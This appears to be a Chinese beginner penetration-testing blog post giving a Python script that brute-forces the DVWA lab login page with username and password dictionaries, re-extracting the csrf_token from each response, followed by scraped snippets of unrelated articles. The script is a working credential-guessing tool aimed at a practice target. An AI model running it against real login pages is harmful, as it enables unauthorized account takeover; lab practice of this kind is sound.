渗透测试入门学习——使用python脚本自动跟踪csrf_token实现对网站登录界面的暴力破解
目录
写在前面
使用方法
相关代码
写在前面
最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用,就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能,于是自己在练习时就想到了用python脚本的方式来弥补BP中的这一欠缺,其中的核心便是用python中的正则匹配库实现对Response内容的分析和定位需要获取的内容
相关代码
import requests
import re# 填入请求地址
url = "http://192.168.160.131/DVWA/vulnerabilities/brute/"
# 填入请求头中的Cookie值
cookie = "security=high; PHPSESSID=ekjn7547iglbc0stpsef2m9gm3"
# 填入页面中下次一请求需要携带的csrf_token值
csrf_token = "99095598fea3cf9d615b2687747aaf5f"
bf_flag = False
# success为未知,但可以尝试出登陆失败的信息
success = ""
failure = "Username and/or password incorrect"
count = 0
# 定义正则表达式匹配规则,匹配某个input标签中name为user_token的字段的value值
# <input[^>]匹配以<input开始到>字符串
# 正则表达式的规则中+号后面的规则会继续对加号前面所匹配到字符串做处理,相当于层层筛选
# name=["\']user_token["\']匹配name="user_token"或name='user_token'字符串
# [^>]+value=["\']在input标签中,找到属性value=
# ([^"\']+)用来获取到匹配到的value中属性的值
# [^"\']+匹配非引号的字符
model = r'<input[^>]+name=["\']user_token["\'][^>]+value=["\']([^"\']+)["\']'with open("./user.txt", 'r') as file_usr:with open("./pswd.txt", 'r') as file_pwd:while not bf_flag:first = file_usr.readline()if not first:break# 在内层循环之前,重置文件指针到文件开头实现遍历file_pwd.seek(0)while not bf_flag:second = file_pwd.readline()if not second:breakfirst = first.strip()second = second.strip()count += 1response = requests.get(url = url,params = {"username":first, "password":second, "Login":"Login", "user_token":csrf_token},headers = {"Cookie":cookie})match = re.search(model, response.text)if match:# 获取正则表达式匹配到的内容,这里正常情况下只会匹配到一个,用.group(1)即可csrf_token = match.group(1)else:print("获取token失败,请检查匹配规则")if failure in response.text:print("第"+ str(count) +"次尝试--失败:",first + " " + second)else:print("第"+ str(count) +"次尝试--成功:",first + " " + second)bf_flag = True;break;
使用方法
在登陆界面随意尝试,查看并复制请求头中的Cookie值

在页面元素中查找下一次向服务器请求所需要的csrf_token值

填写到脚本的对应位置

根据自己的情况分别引入账号、口令两个字典文件

运行代码等待破解成功

相关文章:
渗透测试入门学习——使用python脚本自动跟踪csrf_token实现对网站登录界面的暴力破解
目录 写在前面 使用方法 相关代码 写在前面 最近在学习使用Burp Suite时发现其intruder模块无法实现多种模式的混合使用,就如想要暴力破解账号和口令两个区域并同时跟踪网页的csrf_token时BP似乎不能很方便的实现这一功能,于是自己在练习时就想到了用…...
stc8最小系统使用usb下载程序,关于断电的避坑
首先,按stc官方的原理图做好最小系统。 下面,来看一下stc手册中的操作步骤 USB-ISP 下载程序步骤: 1、按下板子上的 P3.2/INT0 按键,就是 P3.2 接地 2、给目标芯片重新上电,不管之前是否已通电。 电子开关是按下停电后…...
API 数据接口:使用操作流程与安全指南
在当今数字化高速发展的时代,API 数据接口如同构建数字世界的关键纽带,将不同的软件系统和服务紧密连接在一起。无论是企业开发者致力于提升业务效率,还是个人用户追求更便捷的数字体验,深入了解 API 数据接口的使用操作流程以及全…...
elasticsearch 8.2 版本如何设置config/elasticsearch.yml
在Elasticsearch 8.2版本中,`config/elasticsearch.yml`文件是用于配置Elasticsearch的主要配置文件。你可以通过编辑这个文件来设置各种配置选项。以下是一些常见的配置选项及其设置方法: ### 1. 基本配置 #### 集群名称 ```yaml cluster.name: my-cluster ``` #### 节点…...
华为 HCIP-Datacom H12-821 题库 (33)
🐣博客最下方微信公众号回复题库,领取题库和教学资源 🐤诚挚欢迎IT交流有兴趣的公众号回复交流群 🦘公众号会持续更新网络小知识😼 1.VLAN Pool 只要通过一个 SSID 就能够同时支持多个业务 VLAN,从而缩小广播域&#…...
【网络篇】计算机网络——运输层详述(笔记)
目录 一、运输层 1. 概述 2. 运输层和网络层的关系 3. 运输层协议概述 二、多路复用和多路分解 1. 综述 2. 无连接的多路复用与多路分解(UDP) 3. 面向连接的多路复用与多路分解(TCP) 4. Web 服务器与TCP 三、UDP&#x…...
用java编写飞机大战
游戏界面使用JFrame和JPanel构建。背景图通过BG类绘制。英雄机和敌机在界面上显示并移动。子弹从英雄机发射并在屏幕上移动。游戏有四种状态:READY、RUNNING、PAUSE、GAMEOVER。状态通过鼠标点击进行切换:点击开始游戏(从READY变为RUNNING&am…...
java Map中get方法爆错NullPointerException
代码如下: public class Hello {public static void main(String[] args) {Map<Integer,Integer> map new HashMap<>();map.put(2,1);int i map.get(1); System.out.println(i);} }运行出错,看代码很明显是get到一个不存在map的值&#x…...
ElasticSearch备考 -- Multi field
一、题目 Create the index hamlet_2 with one primary shard and no replicas Copy the mapping of hamlet_1 into hamlet_2, but also define a multi-field for speaker. The name of such multi-field is tokens and its data type is the (default) analysed string Reind…...
刷题 图论
面试经典 150 题 - 图 200. 岛屿数量 dfs 标记 visited class Solution { public:// dfs 染色const int direction[4][2] {{-1, 0}, {0, -1}, {1, 0}, {0, 1}};void dfs(vector<vector<char>>& grid, vector<vector<bool>>& visited, int x…...
基于JAVA的鲜花商城管理系统(源码+定制+讲解)鲜花商城管理系统、鲜花商城管理平台、鲜花商城信息管理、鲜花商城系统开发与应用、鲜花在线商城管理系统
博主介绍: ✌我是阿龙,一名专注于Java技术领域的程序员,全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师,我在计算机毕业设计开发方面积累了丰富的经验。同时,我也是掘金、华为云、阿里云、InfoQ等平台…...
深圳大学-Java程序设计-选实验1 基础知识练习
实验目的与要求: 实验目的:掌握Java程序设计开发环境的搭建,编写简单Java Project,掌握编译、运行等基本步骤和命令。 实验要求: (1).下载、安装"Java SE Development Kit 20.0.2"最新的版本,需…...
第 33 章 Ajax
第 33 章 Ajax 1.XMLHttpRequest 2.GET 与 POST 3.封装 Ajax 2005 年 Jesse James Garrett 发表了一篇文章,标题为:“Ajax:A new Approach to Web Applications”。他在这篇文章里介绍了一种技术,用他的话说,就叫&…...
LeetCode 209 Minimum Size Subarray Sum 题目解析和python代码
题目: Given an array of positive integers nums and a positive integer target, return the minimal length of a subarray whose sum is greater than or equal to target. If there is no such subarray, return 0 instead. Example 1: Input: target 7, nu…...
C# 入坑JAVA 潜规则 注解 列表 listMch,该列表存储了一个映射(Map)的集合 等 入门系列3
java 项目结构 文件说明 潜规则 java入门-CSDN博客 C# 入坑JAVA 潜规则 大小写敏感文件名和类名 枚举等 入门系列2-CSDN博客 java注解 好像和C# 特性 差不多 Data Builder NoArgsConstructor AllArgsConstructor 在Java中,Data、Builder、NoArgsConstructor和Al…...
2024年9月个人工作生活总结
本文为 2024年9月工作生活总结。 研发编码 vuepress构建的几个问题 某vuepress项目,是我在3年多以前自行构想自行着手搞的,主要用于将一些常用的数据文件(markdown样式)渲染成html网页文件,在自建服务程序里开启访问…...
JVM有哪些参数以及如何使用
JVM(Java虚拟机)参数用于调整和优化Java应用程序的性能和行为。这些参数主要分为标准参数、非标准参数(以-X开头)和高级参数(以-XX开头)。以下是一些常见的JVM参数及其使用方法: 标准参数 -se…...
STM32编码器接口解析及抗噪声措施探讨
1. 引言 在现代控制系统中,编码器扮演着非常重要的角色。它就像一个精密的测量工具,可以告诉我们机械部件的位置和运动状态。在STM32微控制器中,编码器接口可以轻松地与各种编码器连接,实现精确的控制。我将在这里探讨STM32编码器…...
微软发布Windows 11 2024更新,新型Copilot+ AI PC功能亮相
前言 微软在Windows 11的2024更新中加强了对人工智能的应用,推出了新功能Copilot。 此次更新的版本号为26100.1742,Copilot将首先在Windows Insider中推出,计划于11月向特定设备和市场推广,用户需开启“尽快获取最新更新”选项以…...
鹏哥C语言68-70---位操作符+单目操作符+关系操作符
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <string.h> #include <time.h> //--------------------------------------------------------------------------------------------------------4.位操作符 // &----按(2进制…...
SkyWalking 10.2.0 SWCK 配置过程
SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外,K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案,全安装在K8S群集中。 具体可参…...
vscode(仍待补充)
写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh? debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...
DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
postgresql|数据库|只读用户的创建和删除(备忘)
CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
C++中string流知识详解和示例
一、概览与类体系 C 提供三种基于内存字符串的流,定义在 <sstream> 中: std::istringstream:输入流,从已有字符串中读取并解析。std::ostringstream:输出流,向内部缓冲区写入内容,最终取…...
【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分
一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计,提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合:各模块职责清晰,便于独立开发…...
稳定币的深度剖析与展望
一、引言 在当今数字化浪潮席卷全球的时代,加密货币作为一种新兴的金融现象,正以前所未有的速度改变着我们对传统货币和金融体系的认知。然而,加密货币市场的高度波动性却成为了其广泛应用和普及的一大障碍。在这样的背景下,稳定…...
